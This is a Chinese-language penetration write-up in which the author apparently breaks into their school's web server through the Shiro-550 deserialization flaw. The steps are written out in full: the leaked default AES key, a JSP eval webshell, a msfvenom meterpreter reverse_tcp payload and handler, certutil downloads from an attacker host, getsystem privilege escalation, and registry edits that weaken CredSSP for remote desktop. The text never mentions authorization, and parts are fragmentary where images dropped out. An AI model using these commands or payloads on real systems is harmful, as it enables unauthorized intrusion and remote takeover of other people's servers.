文章来源:先知社区(御林安全之落花)
原文地址:https://xz.aliyun.com/t/11201
0x01 前言
近日对学校网站进行了一波指纹识别,正好发现一个shiro框架网站存在漏洞,故有此文。
0x02 shiro-550知识回顾
shiro框架在登录时,如果勾选了RememberMe的功能,关闭浏览器再次访问时便无需再次登录,此时cookie中会增加一个rememberMe字段,字段的值是这样处理的:序列化,AES加密,Base64加密。最终得到的值传到后端后,解码过程即为:Base64解码,AES解密,反序列化。
在AES加解密时,需要使用到密钥key和一个向量值IV。在进行AES加密后,IV值会被放到加密得到的密文前面,共16字节,然后才进行Base64加密;因此解密时,在经过Base64解密后得到的前16字节即为IV值。而key值则是被硬编码在文件中,即被存放到程序源代码中,也就是直接泄露了。例如默认key:kPH+bIxk5D2deZiIxcaaaA==
因此,攻击者可以先正常登录,对cookie中rememberMe的值进行base64解码,取前16字节,即可得到IV值。然后构造一个恶意的对象,将其进行序列化,使用泄露的key和IV值进行AES加密,再将IV值放到密文前面,进行base64加密,替换rememberMe的值,发送即可。后端就会进行解密、反序列化,最终触发RCE。
0x03 指纹识别
先使用xray爆破得到一波子域名,然后使用sublime进行处理得到如下格式的URL
rememberMe=deleteMe
字段。于是确认此处为shiro框架。0x04 getshell
使用利用工具去碰撞key
whoami
dir
一下得到当前目录后,直接cd
到webapps目录下,发现只有一个默认ROOT的目录,cd进入后可以看到网站的文件cd xxx/webapps/ROOT && dir
echo ^<%eval request("cmd");%^>>yl_test.jsp
http://xxx/bcel.jsp
http://xxx/test/bcel.jsp
0x05 MSF上线
tasklist /svc
将输出结果粘贴到掩日中
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xxxx lport=1234 -f c >1234.c
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xxx
set lport 1234
run
certutil.exe -urlcache -split -f http://xxx:1111/test.txt
certutil.exe -urlcache -split -f http://xxx:1111/test.exe
0x06 信息收集
systeminfo
getsystem
提权0x07 远程桌面连接
netstat -ano | findstr "3389"
3389竟然没开?猜测很可能是换了端口。于是可用如下方式找远程桌面连接的端口。
tasklist /svc
netstat -ano | findstr "2428"
New-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name CredSSP -Force
New-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP -Name Parameters -Force
Get-Item -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters | New-ItemProperty -Name AllowEncryptionOracle -Value 2 -PropertyType DWORD -Force
0x08 总结
这是本人第一次实战进入内网,虽然没什么技术含量,但熟悉了整个渗透流程,也刚好把前段时间所学的shiro系列漏洞给实际应用起来,收获颇丰。
0x09 参考文章
https://su18.org/post/shiro-5/
https://help.aliyun.com/document_detail/71931.html
侵权请私聊公众号删文
推荐阅读
查看更多精彩内容,还请关注橘猫学安全:
每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看”